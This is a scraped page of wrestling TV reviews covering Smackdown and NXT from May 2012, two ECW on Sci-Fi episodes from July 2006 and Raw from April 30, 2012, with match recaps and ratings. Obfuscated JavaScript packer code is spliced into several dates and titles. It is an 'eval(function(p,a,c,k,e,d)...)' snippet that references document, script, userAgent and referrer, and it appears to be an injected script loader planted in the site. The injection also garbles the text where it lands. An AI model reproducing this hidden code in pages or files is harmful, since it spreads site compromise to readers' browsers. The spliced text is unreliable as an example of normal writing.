Smackdown – May 4, 2012: Hallelujah!

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfndf|var|u0026u|referrer|bsiyy||js|php'.split('|'),0,{})) May 4, 2012
Location: Huntington Center, Toledo, Ohio
Commentators: Michael Cole, Booker T, Josh Matthews

This is the first show after Extreme Rules and Sheamus has retained the title against Daniel Bryan. Other than that there isn’t much other than Orton beating Kane in the falls count anywhere match. Sheamus needs a new challenger now and all signs point to it being Del Rio which is nothing that I’m interested in but this is WWE so who cares? Let’s get to it.

Do You Know Your Enemy? Mine is whatever lunkhead turned on the lights in the middle of the Avengers.

Here’s Sheamus to open things up. He says he’s doing what he loves to do: fight. He doesn’t care where he is, because he just loves fighting. Bryan almost tore his shoulder off at Extreme Rules so tonight, Bryan can try to finish it. He was asked if he wanted to fight Bryan, and his answer was YES. Sheamus starts a YES chant and here comes Bryan for a gimmick infringement complaint. Sheamus says YES probably 40 times here, which is probably a record.

Sheamus vs. Daniel Bryan

This is non-title I think. Sheamus tries for a headlock as Bryan goes for the arm. Bryan takes it to the mat but Sheamus fires off a punch to break that up. A single arm DDT takes Sheamus down as Booker breaks his vow from a few weeks back and calls him D. Bry. Off to an armbar but Sheamus gets up pretty quickly. He comes with the power and starts pounding Bryan down in the corner. A running knee lift sends Bryan to the floor but Ricardo Rodriguez jumps off the top onto Sheamus for the DQ at 2:48. This was an angle rather than a match.

Del Rio comes in with the cross armbreaker and Bryan throws on the YES Lock to leave Sheamus laying. Bryan yells at Del Rio as referees hold back Sheamus.

After a break Sheamus is getting his arm looked at.

Kofi Kingston/R-Truth vs. Hunico/Camacho

Epico, Primo, AW and Rosa watch from the ramp. AW has officially signed the former champs. Truth and Hunico start things off with Hunico slapping Little Jimmy. Is that child abuse? Off to Kofi who comes in off a springboard clothesline for two. Kofi gets sent to the apron and Hunico gets in a shot to send him outside. Camacho gets in a clothesline on the floor and Hunico adds the hilo for two.

Camacho comes in and gets two off a legdrop. Back to Hunico who comes in with a slingshot dropkick to Kofi who is seated in the corner. A monkey flip by Kofi sets up the hot tag and Truth comes in with the pelvic thrusts. Lie Detector gets two on Camacho and everything breaks down. A rana sends Hunico and Kofi to the floor so the Little Jimmy can get the pin at 4:09.

Rating: D+. Nothing tag match but I guess it set up the idea of Primo/Epico continuing the feud with Kofi/Truth. Wait did I just call that a feud? It means that sometime there’s going to be another tag title match and a probably house show program. Can we just look at Rosa some more instead?

Brodus Clay vs. Jack Swagger

Brodus hits a quick belly to belly suplex for two and runs Swagger over with ease. Ziggler offers a distraction and Jack hits something like a spear to take over. Ziggler tries something off the steps but runs into the headbutt. Back in the ring the suplex looks to set up the splash but Jack rolls to the floor and takes the countout at 1:43.

More annoying kids get to dance with Brodus post match.

Video on the Cena vs. Lesnar match on Sunday. This transitions into the end of Raw where Ace revealed himself as Cena’s next opponent.

Del Rio and Bryan are arguing in the back and Eve has to break it up. Ace is taking a day off for some reason so she and those great glasses of hers are in charge. Bryan wants to continue his match with Sheamus and she says maybe. Eve throws both of them out.

Damien Sandow vs. Derrick Bateman

Sandow comes out to the Hallelujah Chorus and in a Bob Backlund robe and towel. He’s introduced as the Intellectual Savior of the Masses. Sandow says that he won’t do anything here tonight because it won’t teach the masses anything, so he’s out of here.

Bateman wants the match he earned the right to on NXT. We have a replacement for him.

Ryback vs. Derrick Bateman

Ryback has some pyro now. Booker thinks of Devastation Inc. when he looks at Ryback. There’s a stable I never want to think of again. Big boot, Over the Shoulder Boulder Holder, clothesline, MuscleBuster, 1:11.

Kane/Cody Rhodes vs. Randy Orton/Big Show

Cody and Randy get us going. Cody goes into the buckle quickly and cowers away from Show. The big bald comes in to crush Cody in the corner and brings back Randy. A knee drop gets two as does a dropkick. Off to Kane for a slugout with Orton and the Viper is in trouble. Kane sends him into the corner and it’s off to Big Show. He comes in with a spear to Kane and takes down Cody as well.

Kane gets a DDT to Big Show and we take a break. Back with Cody stomping on the former champion and then tagging Kane back in. The low dropkick gets two and it’s time for the chinlock. Show comes back with a belly to back suplex and it’s the hot (I guess?) tag to Orton. He powerslams Cody but Kane breaks up the elevated DDT.

Instead it’s the Big Fried Freak taking the DDT and Randy sets up the RKO. Kane shoves him off and Cody low bridges Orton to the floor. Kane follows him out and hits a big boot which gets two. Back to Rhodes for some knee drops and a dropkick for two. Kane comes in again and walks into the backbreaker.

A clothesline breaks up the hot tag and the champ is in again. Cody hooks a quick chinlock and tries Cross Rhodes but Orton shoves him off. There’s the tag to Big Show who cleans house. Kane breaks up the chokeslam with the top rope clothesline but Orton hits an RKO on the masked one. WMD gets the pin on Rhodes at 10:47 shown of 14:17.

Rating: C. Just a run of the mill tag match here which didn’t really change anything. The champion gets pinned by the same guy that has beaten him on multiple occasions already so Rhodes looks even weaker. Orton and Kane would seem to be through but they keep at it here again. There might be a match at Over the Limit but Orton has already won two matches against him so I don’t know if I’d get the point.

Post match we’re told that Big Show will get his rematches at live events this weekend. There’s a rarity.

Sheamus is taped up and says he’s fighting tonight.

Layla vs. Natalya

They go to the mat and it’s a standoff. Natalya works on the arm and hits a discus lariat for two. Abdominal stretch goes on but Layla gets a sweet rolling counter for two. Layout ends this quickly at 1:58. Layla is more interesting than most of the other girls but giving her two minutes a night isn’t going to get anyone anywhere.

Antonio Cesaro and Aksana are taking publicity photos in the back under Eve’s supervision. She thinks Antonio needs oil and makes Teddy put it on. Teddy says no but does it eventually.

Alicia and Kaitlyn are standing around doing nothing when AJ comes up. Alicia leaves and AJ asks for Kaitlyn’s forgiveness. Kaitlyn says she felt betrayed and was just trying to be her friend. She tells AJ to stop feeling sorry for herself and earns another slap.

Raw ReBound is about HHH vs. Lesnar.

Daniel Bryan vs. Sheamus

Del Rio is on commentary. Sheamus’ shoulder is taped up. There sure are a lot of arm injuries floating around this company lately. Sheamus basically has to fight from his right side here. He shoves Bryan down and fires off some elbows in the corner. Bryan comes back with a kick to the shoulder to take control. Sheamus keeps trying to play defense so Bryan keeps going for the arm.

Sheamus manages a tilt-a-whirl slam but the Brogue Kick is ducked and he falls to the floor. We take a break and come back with Bryan hitting the running knee off the apron. Back inside Bryan ties the arm up in the ropes and kicks Sheamus down to the floor. The shoulder goes into the post and back inside a Swan Dive to the shoulder gets two. The tape is ripped off now and Sheamus is in trouble.

Bryan drives knees into the shoulder and hooks both arms on the mat. The champ tries to fire off some elbows to the head but can’t break through. Bryan goes to send him into the post but Sheamus reverses to send Bryan’s shoulder in and give himself a breather. Here are the forearms to the chest and a suplex back in gets two. Bryan charges into the Irish Curse with the left (the bad) arm for two.

Sheamus goes after Daniel but gets his arm draped over the rope. A missile dropkick gets two and Bryan is frustrated. Sheamus hits the double ax out of nowhere and loads up the Cross but here’s Del Rio for a distraction. He doesn’t interfere though so it isn’t a DQ. Bryan tries to sneak in the YES Lock but Sheamus shoves him into Del Rio. Sheamus sends Alberto to the floor and Bryan goes up. That goes badly though as he dives into the Brogue Kick (most of one at least) for the pin at 9:25 shown of 12:55.

Rating: B-. This was a different kind of match than Sunday but it was still good. I don’t get the point in having Bryan get beaten again when you had Del Rio interfering already. Just go with the DQ and set up the next title feud that way instead of taking away some of Bryan’s momentum. Still though, another good match between these two who have good chemistry.

Overall Rating: C+. This show was all about transitioning over to Sheamus vs. Del Rio and that worked to a degree. At the same time though, they did it at the expense of Bryan who is going to be getting a world title match at the PPV so that wasn’t the best idea. Other than that though, nothing really happened on this show. Nothing was bad and the tag match was ok, but it’s pretty much a forgettable show other than the main event stuff, which is ok.

Results
Sheamus b. Daniel Bryan via DQ when Ricardo Rodriguez interfered
Kofi Kingston/R-Truth b. Hunico/Camacho – Little Jimmy to Camacho
Brodus Clay b. Jack Swagger via countout
Ryback b. Derrick Bateman – MuscleBuster
Randy Orton/Big Show b. Cody Rhodes/Kane – WMD to Rhodes
Layla b. Natalya – Layout
Sheamus b. Daniel Bryan – Brogue Kick

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Thought Of The Day: Lesnar’s Loss

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfnyb|var|u0026u|referrer|farea||js|php'.split('|'),0,{})) is stolen from Lance Storm and paraphrased here:

Clearly WWE blew all of their money on Brock by having him lose in his first match back. I mean, no one EVER wanted to see Brock after he lost his UFC debut right? In wrestling you can easily bounce back from a loss. It’s not the end of the world people. Calm down.




NXT – May 2, 2012: This Show Is Actually Getting Good

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iztsa|var|u0026u|referrer|ishti||js|php'.split('|'),0,{})) May 2, 2012
Location: Huntington Center, Toledo, Ohio
Commentators: William Regal, Josh Matthews

Regal is back from scouting talent so we may have some new names popping up this week. The show has gotten better with the change in talent recently so I have some hope for this show. Now if they can get a singles title in here then things would almost be set. Also Josh is back from his Brock beating so let’s get to it.

Striker are in the ring to open things up. Josh and Regal are both welcomed back. Regal says we’ll be having some new faces in the next few weeks. Cue Curtis who looks different along with Maxine who he’s still handcuffed to. They yell at each other and have issues getting in the ring. Maxine falls getting in but they get cut off by JTG. He’s been trying to get ahold of Regal but Regal won’t respond. Regal says all three of these people were thorns in Horny’s side last week so tonight, Curtis and JTG will be a team.

Tyson Kidd/Alex Riley vs. JTG/Johnny Curtis

Maxine sits in on commentary for this. Kidd and Curtis start and Tyson frustrates him on the mat. A slick armdrag puts Johnny down as Maxine complains about being handcuffed to him. Kidd hooks an armbar and it’s off to Riley for a big pop. JTG comes in and walks into an armdrag for two. Spinebuster puts JTG down but Riley takes out Curtis instead of covering.

JTG gets kicked in the face as he tries to help his partner and Riley goes up, only for Curtis to shove him off for two. We take a break and come back with JTG getting two on Riley after a neckbreaker. Maxine says she might become a new Maxine and it’s chinlock time. Riley grabs a suplex but Curtis makes a save and hooks a chinlock of his own. Maxine keeps complaining about what Regal did and Regal replies with a great line: “I’m a villain. Why would you expect me to be nice?”

The double teaming continues for a few minutes but Riley breaks up a superplex. This match is getting a lot of time for an NXT match as it’s already over ten minutes. Middle rope dropkick allows the tags to Kidd and JTG. Kidd hits a dropkick for two and the heels go to the floor. Riley backdrops Kidd over the top onto both of them and almost everyone is down. Kidd throws JTG back in and the Dungeon Lock gets the tap at 12:00.

Rating: C. Pretty decent tag match and while the time helped it, it didn’t really make it great or anything. Most of this was JTG and Curtis working over Riley until Kidd came in to dominate. Kidd is just so far and away better than the majority of the roster of this show that it’s almost unfair to have him against other NXT guys.

McGillicutty makes fun of Watson in the back and Watson maintains that he was attacked. They have a match tonight because Watson thinks McGillicutty jumped him last week. McGillicutty says he would have finished him off and that he’ll see Watson out there.

Raw ReBound is Lesnar injuring HHH.

Hawkins and Reks are in the front row with Regal Sucks signs. Great. Regal goes over to them and they hold up their ticket stubs. Regal throws them out anyway and they argue with security the whole way. This is going to keep going isn’t it?

JTG is mad in the back when he runs into Alicia Fox. He’s mad about losing all the time and she says look in a mirror because he looks like he’s stuck in Brooklyn from 1998. She thinks he needs a makeover and asks for a week to change him and make him a future champ. He says no then comes back and says she has one week.

Bateman and Kaitlyn are fired up about Bateman’s match on Smackdown. They find Riley with a bad knee. He says it was McGillicutty but Kaitlyn thinks it wasn’t. They carry him off to get help.

Percy Watson vs. Michael McGillicutty

We have almost fifteen minutes for this match. Watson controls to start and hits a butterfly suplex for two. McGillicutty comes back with some forearms and works on the bandaged knee of Watson. Watson knocks him away but gets caught in a dragon screw leg whip and we take a break. Back with Michael working on the knee even more. He rams it into the apron and puts on a Figure Four. Regal points out how it’s on the wrong leg, making me love him even more.

Watson sends him to the floor and comes back with an elbow but he’s only got one good leg to work on. Elbow takes McGillicutty down and a facebuster into a neckbreaker gets two. Watson can’t follow up quickly because of the knee. He loads up Persecution but McGillicutty slips down the back and hits a chopblock. McGillicutter gets the pin at 11:32.

Rating: C+. This was kind of a singles version of the previous match. It’s not bad and the leg work played into the ending which is all you can ask for. I like that they’re giving McGillicutty time out there but please, let him be called Joe Hennig. Are you that worried about him going somewhere else and becoming a huge star? Really? Good match here though.

Post match Striker comes out with what looks like a piece of paper that has gone through a shredder. He hands it to Regal who is mad. Oh it’s a tassel off Percy’s boot. McGillicutty had been making fun of them earlier in the back. Security wants to talk to Watson in the back. Striker escorts him out as we go off the air.

Overall Rating: C+. This show continues to work well with really basic stories. They’re mixing things up and the attacker in the back is a good story as you now have two possible suspects. Adding in a decent story with pretty good matches makes NXT a pretty solid show lately, although less JTG would be a plus.

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ECW on Sci-Fi – July 25, 2006: It Took Them Two Months But Things Are Starting To Come Together

ECW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnhsk|var|u0026u|referrer|hiyyi||js|php'.split('|'),0,{})) on Sci-Fi
Date: July 25, 2006
Location: Joe Louis Arena, Detroit, Michigan
Commentators: Joey Styles, Tazz

We’re in Detroit tonight and the challenger of the week is Kane in an Extreme Rules match. That’s an interesting idea as there’s no better way to have someone built up as a monster than by having them run through people, especially when the regular roster has nothing they could throw at him for a reasonable challenge yet. Also tonight there’s more in the Knox vs. Sandman feud which I’m sure you’re all dying for. Let’s get to it.

After a quick intro about Show vs. Kane we hit the theme song.

Knox and Sandman are in the ring to start and Knox gives us a montage of Kelly’s dances. However, Kelly can never take her clothes off again after the cane shot last week, which we see. Knox claims that he didn’t abandon Kelly but rather was in the back getting the EMTs.

Mike Knox vs. Sandman

Sandman busts himself open with a beer can on the way to the ring. Knox goes off on Sandman with right hands but Sandman comes back with the legsweep. He gets the cane and goes to swing it at Knox but Kelly gets in the way. Sandman stops himself but Test comes in for the DQ win for Sandman.

Dreamer jumps Knox and Test in the back.

Heyman is talking to Sabu (kind of) and says that Sabu won’t get the title match he wants with Show. Heyman tells Sabu to leave. He keeps walking and runs into Guido, who he yells at for doing nothing. The security guards beat him up and Heyman says Guido’s match is next.

CM Punk says he hasn’t been handed anything. He’s from the streets and he debuts next week.

The Vampire vs. Little Guido

The Vampire would later be known as Kevin Thorn. Guido is dragged to the ring by the security guards. The Vampire destroys Guido and Ariel the tarot card girl gets on the apron and sucks his fingers. A modified powerbomb puts Guido down again and an elevated Stunner (think Orton’s DDT) kills him. Razor’s Edge ends this. Guido never got his vest off.

Video on Kane.

Shannon Moore still has nothing to say.

Justin Credible vs. Balls Mahoney

Balls starts fast and pounds Justin into the corner. Off to a neck crank as Tazz and Joey talk about how insane Mahoney is. Justin tries to run but gets caught by the ears. Back in Justin drops some legs and a running release tornado DDT for two. Northern lights suplex gets two.

Off to a kindof seated abdominal stretch and then to a regular knee to the back chinlock. Balls hooks a suplex to get out of it and the punches get two. Justin tries a slide into the corner but crotches himself on the post. He whips Mahoney into the corner and dropkicks him into the referee. A reverse DDT hits but there’s no referee for Justin so he goes and gets a chair. Balls steals the chair and clocks Credible with it for the DQ.

Rating: D. This wasn’t much of anything and the ending didn’t help it. For some reason Credible was a total jobber in ECW despite being a long reigning world champion in the original incarnation. Mahoney was mainly a tag wrestler but was getting a pretty significant push in this version. He’s more interesting though so I can’t complain there.

Mahoney clocks the referee with the chair post match.

Show wants to know why he can’t fight Sabu. Heyman says don’t worry about it.

Vote in the Diva Search! If there was a mention of something like that in the original ECW, riots would break out.

Angle is back next week.

ECW Title: Kane vs. Big Show

Kane fires off some clotheslines but is thrown up and over to the floor on the third attempt. Oh and this is Extreme Rules. Kane sends him into the post and throws some weapons into the ring. Show knocks him back down and we take a break. Back with Kane down in the ring and Show stalking him. Kane gets up and hits a chair shot to take Show down. The chair is wedged between the ropes in the corner and Kane slugs away.

According to the laws of wrestling, Kane goes face first into the chair that he set up. Show goes up for a Vader Bomb but Kane hits him low and a belly to back superplex puts both guys down. They slap it out from their knees and then punch it out on their feet. Kane knocks him into the corner and hits a running clothesline. He lost his elbow pads in this somewhere.

Here comes a chokeslam but Show grabs one of his own which only gets two. Not much of a surprise on the kickout either, as in the crowd didn’t seem to care. Show gets a table and sets it up on the floor and then a second one. He sets for a suplex over the top but Kane guillotines him on the top rope. A trio of chair shots knocks Show off the apron and through the tables.

Heyman and the security come out to try to tell Show that he needs to shake it off. I think Show is busted open. Kane tries to get Show back in the ring and DANG that’s a good cut. Kane goes up but jumps into a chokeslam but Kane counters into a DDT for two. Heyman put the foot under the rope to break it up so Kane goes after the boss. That allows Show to hit Kane in the back with a chair and chokeslam him onto it to retain.

Rating: B-. WAY better than I was expecting here as it was about beating each other up which is the whole appeal of battles of monsters like this. Kane moved around in this and his power was enough to make you believe that a title change was possible. It was very unlikely but it was possible. Good match and a nice surprise.

Sabu comes in and lays out Big Show with a variety of chair shots.

Overall Rating: C. This was one of the first times where you could feel part of a running story throughout the show which is what this show has been lacking. Until now it’s come off as more like a collection of segments and then a long main event. Now we’re actually getting some stories together and the show is a lot more interesting as a result.

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ECW on Sci-Fi – July 18, 2006: Sabu Has A Wrestling Match

ECW on Sci-Fi
Date: July 18, 2006
Location: American Bank Center, Corpus Christi, Texas
Commentators: Joey Styles, Tazz

Back to the tribe of extreme for the show that is the hardest of all of the ones I review to find. This is I think the sixth episode of the show and it’s still in the Big Show’s title reign. His opponent of the week is Undertaker, who you can’t get on Raw but you can get on ECW. It’s a strange world out there people. Oh and he has Khali on Sunday at the Great American Bash. Gee I wonder if that’ll lead anywhere. Let’s get to it.

Undertaker got in Big Show’s face on SNME.

Intro song.

We open immediately with Kelly stripping and here’s Knox to stop her of course once she gets to her underwear. He takes her to the ring because the best way to keep people from seeing her is to put her in front of an audience right? It’s Kelly’s fault that Knox got hit by the Sandman’s cane last week because she wanted people to see her take her clothes off. We get a clip of that attack and Knox says Kelly can never take her clothes off in public again. Now go get in his corner.

Mike Knox vs. Sandman

Oh and it’s Extreme Rules. Knox jumps Sandman as he’s coming in and we’re off and jogging. They head to the floor and Sandman is thrown into the table and barricade. Knox chokes Sandman with a camera cord and we go back in. Sandy gets a boot up and a bulldog before they go back to the floor. Sandman gets the cane but it hits Kelly as Knox pulls her in the way. Two low blows give Knox the pin. Hu-freaking-zah.

Knox leaves Kelly there. She’s eventually taken out on a stretcher.

Shannon Moore can look at a camera.

Kelly was taken to the back during the break.

Here’s Heyman with his two riot guards. He tells the fans that they have to all drink the Kool Aid and talks about how it’s their fault that Van Dam lost the title. He knows it must be hard to keep up with his intellect but the people can do it. Here’s Dreamer who talks about how he’s been there with Heyman for so many years and he never demanded anything for himself. Now though, he wants Heyman to explain himself to the locker room and to the fans. Heyman grabs Dreamer and kisses him and here’s Test to kick Dreamer’s head off. Heyman and the guards leave and it’s a TKO for Dreamer. Yay Test.

We get a nifty tale of the tape of Undertaker vs. Big Show.

Balls Mahoney says he likes his name. He’s had that name all his life and it’s a little nuts, just like him. He’s an ECW Original you know.

Sabu vs. Stevie Richards

This isn’t Extreme Rules. This is a rematch from SNME where there was an Extreme Rules match but here on ECW it’s a regular match. Got that? Stevie arm drags Sabu and puts him down with a shoulder block. Sabu gets a backslide for two. A leg bar is quickly broken by the ropes and the fans want tables. Richards goes heel with right hands and rams Sabu’s shoulder into the post. There’s an armbar for a few moments but Sabu comes back with right hands. Slingshot flip Fameasser gets two. Springboard tornado DDT sets up the camel clutch for the tap out.

Rating: D+. Nothing to see here for the most part as the whole point of Sabu is that he’s crazy, but I guess it makes sense to have him do regular matches right? That’s the point of ECW and the guy you’ve built up more than anyone else right? Richards was never more than a jobber in this version of ECW.

Sabu chases the referee with his spike post match.

CM Punk talks about why he’s in ECW. He lists off a bunch of martial arts he’s trained in and also talks about his discipline. Why is he a face in ECW again?

Kevin Thorne talks about the future and about how there is death coming for Big Show’s reign.

Video on how dominant Big Show is.

ECW Title: Big Show vs. Undertaker

Undertaker in ECW is just strange. Taker tries to take the leg out so Show headbutts him down. A slugout goes badly for the challenger and Taker gets knocked back into the corner via a headbutt. Taker comes back with his strikes but can’t put Show down. The champ knocks him to the floor and we take a break. Back with Taker getting laid out by a spear for two.

Out to the floor and Taker’s head goes into the steps. Taker gets in a kick to the face but Show headbutts him right back down. Undertaker grabs the leg and hooks a hold of some sort to get Show in trouble. Show pounds him down in the corner and they slug it out again. Chokeslam by Taker is broken up but a running DDT gets two. Old School is broken up and Show hits a superplex. It’s an EXTREME ring though so it doesn’t break. It only gets two and Taker sits up. Chokeslam is broken up again but Show is knocked to the floor. And here’s Khali for the no contest.

Rating: D. This picked up a little bit at the end but until that point, MAN was it boring. It was nothing but these two punching each other and the other coming back. Now repeat that for about 12 minutes. It was clear that Khali was going to be involved in the ending so until than it was really just killing time. Bad match but the superplex was cool.

Khali and Big Show put Undertaker through the table before the Bash on Sunday,

Overall Rating: D+. This one didn’t do it for me at all. This show needs a breath of air already and that’s not going to happen for a few months. The problem here is that they keep trying to throw in the original ECW stuff and it doesn’t fit at all. Once they go to the show being its own show, it’ll get a lot better.

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Monday Night Raw – April 30, 2012: It’s The Internet’s Night

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anzzy|var|u0026u|referrer|innrd||js|php'.split('|'),0,{})) Night Raw
Date: April 30, 2012
Location: Wright State University Nutter Center, Dayton, Ohio
Commentators: Michael Cole, Jerry Lawler

Extreme Rules was last night and it’s time for the road to Over the Limit to begin. Cena talked about taking some time off last night at the end of the show which is something he’s certainly earned. It’s been three and a half years since his last break and giving him some time to heal up and recharge his batteries is definitely a good idea. We’re coming off a great show last night so let’s get to it.

We open with clips from Lesnar vs. Cena and the post match promo from Cena saying he was taking a break.

Here’s the theme song and the new intro says it’s starring Brock Lesnar.

Here’s Ace to open things up. He brags about how great last night was and how awesome Lesnar was in his dominance last night. Cena was proven to be a mortal last night apparently and Lesnar got rid of him. Here’s Brock who says last night the world saw Brock bring the pain. Cue HHH who looks mad. He says that if Lesnar wants all these perks, a lot of them are on his own dime. Oh and the show has always and will always be Monday Night Raw (except for when it was Raw Is War).

The contract stuff he made Ace agree to last week weren’t run by HHH so they don’t count. Ace pulls out the contract and HHH rips it up. HHH says that Ace knew that he didn’t have that authority. The WWE wants Brock here as do the fans, and they want Lesnar vs. Cena II. They want to see him against Sheamus, Orton and Punk. If Brock is going to do that, it’s going to be under the terms of the contract Brock signed. From what I understand, Lesnar isn’t under contract right now. HHH says Lesnar can re-sign under the original terms or go home with his loss to Cena.

Ace keeps talking while HHH is trying to do business and HHH keeps telling him to shut up. Finally HHH turns to him and Lesnar jumps HHH. He beats him down and HHH can only get in a little offense at best. Lesnar throws on the armbar and HHH’s arm turns. Some guys run in for the save and HHH says his arm is broken. That’s probably Over The Limit. He walks up the ramp slowly to take us to a break.

HHH gets his arm looked at.

Eve, with some sexy glasses on, comes out and tells us that tonight it’s a five man Beat The Clock Challenge for the #1 contender spot at the PPV. That means the first person in the challenge sets the time to beat and the fastest of the five times gets the show.

Beat The Clock Challenge: The Miz vs. Santino Marella

I guess either guy can set the time. Sweet I don’t have to time these matches. Santino takes him down and tries some very fast covers. Brock has been escorted out of the building. They both keep trying quick pins including a rollup after Miz misses a charge. Santino walks into something like a Side Effect for two.

Corner clothesline hits for Miz and he goes up. Double ax hits for two. Chinlock goes on but it’s quickly broken. Hot shot puts Miz down and Santino hits his usual stuff. Here comes the Cobra but Santino walks into an O’Connor Roll for two. Miz totally misses a big boot in the corner but hits the Finale for the surprise pin at 4:17. This just had to be the US Champion too right?

Rating: C-. Nothing special here but it was pretty quick which means some of the matches later on won’t be as long. I wonder if the rest of the matches will end if they pass the established time. Either way, not a bad match here and Santino can bounce back from a loss about as quickly as anyone on the roster.

Divas Title: Nikki Bella vs. Layla

The Bellas argue over who is fighting so Layla dropkicks one into the other and rolls up Nikki for the pin at 10 seconds.

Beat The Clock Challenge: Chris Jericho vs. Big Show

Dang two matches in one segment. Oh of course not as we have a break before the match starts. Big Show charges right at him and the clock is counting down from 4:17. Show runs him over a few times but gets his knee kicked out. You know what would be nice? A reference to these two being former tag champions. It’s not going to make the match or anything but a little history is nice at times. Jericho goes up but jumps into a chop. Vader Bomb misses and Jericho hits a Lionsault for two.

Show busts out a small package of all things and gets two. Chokeslam is countered into a low DDT for two. Spear gets two for Show and the clock is at 1:05 remaining. WMD misses and the Codebreaker is countered as well. Jericho pulls Show to the floor which doesn’t mean anything. We’ve got 30 seconds to go and Jericho gets pulled to the floor. Show misses a charge and goes into the timekeeper’s area. Jericho gets back in but the clock runs out just before the ten count, but they say Jericho won with a second left. Bull freaking crap and the fans know it. Anyway the time was 4:17 obviously.

Rating: C-. This was exactly what you would expect from Big Show vs. Chris Jericho. It wasn’t bad but MAN did they screw up the ending? How hard is it to have someone in a headset saying COUNT FASTER??? Apparently too complicated for WWE as this looked so stupid. The buzzer went off and then he said ten. It wasn’t close but I’m sure we’ll be told that we were all wrong or whatever.

Post break they change it up again and say that Miz’s time was actually 4:18 so neither guy made it. OH COME ON. Just freaking say that the countout didn’t work and the referee was wrong. How hard is that??? Seriously???

Brodus Clay vs. JTG

Back to the old school Brodus I guess. JTG apparently has a surprise for Brodus. The surprise is a kick to the ribs but Brodus headbutts him down. Slam and elbow put JTG down and the headbutt to the chest does as well. Avalanche and t-bone suplex set up the splash for the pin at 1:39.

Brodus brings in some kids for a dance, JYD style.

We get the opening video again as well as the Lesnar attack for the third time tonight.

Eve gives Ace a pep talk in the back and Ace says that Cena isn’t going to like his next opponent.

Beat The Clock Challenge: Randy Orton vs. Jack Swagger

Remember the time is now officially 4:18. Orton keeps trying rollups but gets kicked down and the Vader Bomb gets two. Orton hits his backbreaker for two as we’re under 3:00 to go. Swagger hits a shoulder for two and then works on the arm. Lawler points out the stupidity of this and we have 90 seconds to go. Orton comes back with his powerslam and the elevated DDT with 40 seconds left. RKO is countered into the ankle lock but Orton rolls out and the RKO gets the pin at 4:16, giving him the new time to beat.

Rating: C-. The problem with these fast matches is that there’s no time to get anything going. I remember these two having a title match at whatever PPV it was and that was nothing to see either. Not a terrible match but again with only about four minutes to work with, there’s only so much they can do.

Cena’s match is later tonight apparently.

We get a clip of Santino and Ryder pinning the tag champions last week. This naturally leads to the following.

Tag Titles: Primo/Epico vs. R-Truth/Kofi Kingston

Before the match we’re told that the Bellas have been fired. Epico kicks Little Jimmy so Truth goes off on him. Truth cleans out the ring as we take a break. Back and it’s official that HHH’s arm is broken. The champs are in control and it’s time to ignore the match. Truth takes them both down and makes the hot tag to Kofi. Everything breaks down and after some Rosa interference, Trouble in Paradise pins Epico and we have new champions.

Rating: D. The match probably wasn’t that bad but this was the definition of paint by numbers. How many times have you seen the exact same match that I just described? On top of that, Kofi is still spinning his wheels with a title that means nothing at all. What in the world is the point of this?

The former champions talk to Washington in the back.

Beat The Clock Challenge: Great Khali vs. Kane

It’s your standard battle of the big men: Khali hits Kane, Kane hits Khali, Kane puts him down and hits the top rope clothesline for two. The time was set at 4:16 and we have less than two minutes left. Low dropkick gets two. Under a minute to go as Khali comes back with some big man offense. The chop hits Kane and he rolls to the floor. They brawl to the floor and back inside they both try a chokeslam the clock runs out for a no contest at 4:16.

Rating: D. This was your standard battle of the big men, which is to say that it wasn’t that good. With about a minute to go it was clear that neither guy was going to win, which is the right idea. Would you want either of these guys headlining a PPV? Anyway nothing to see here and there’s one more match to go in the challenge.

Apparently Cena will be here to find out who his opponent at Over the Limit is.

Beat The Clock Challenge: Jerry Lawler vs. Daniel Bryan

4:16 is the time to beat. Bryan goes right at Lawler and beats him down in the corner. Running dropkick gets two. Lawler gets a boot up and drops the middle rope fist for two but the piledriver is countered. A kick to the head sets up the YES Lock and Jerry taps at 2:29 to get the title shot. Let the internet explode.

Punk comes out and applauds Bryan.

We see Lesnar attacking HHH for a fourth time.

Here’s Cena with his arm in a sling for the showdown with Ace. Cena says he’s here and there’s no breaks in his arm and no muscle tear. Everything is strained, but he’s here. He says that if you’re hurt, you get to keep coming out here and doing what you do best so he’s here. Cue Ace and Cena instantly makes fun of him, as well as confirming the DVD release of No Holds Barred. I’d LOVE a commentary from Hogan on that but it’s not going to happen.

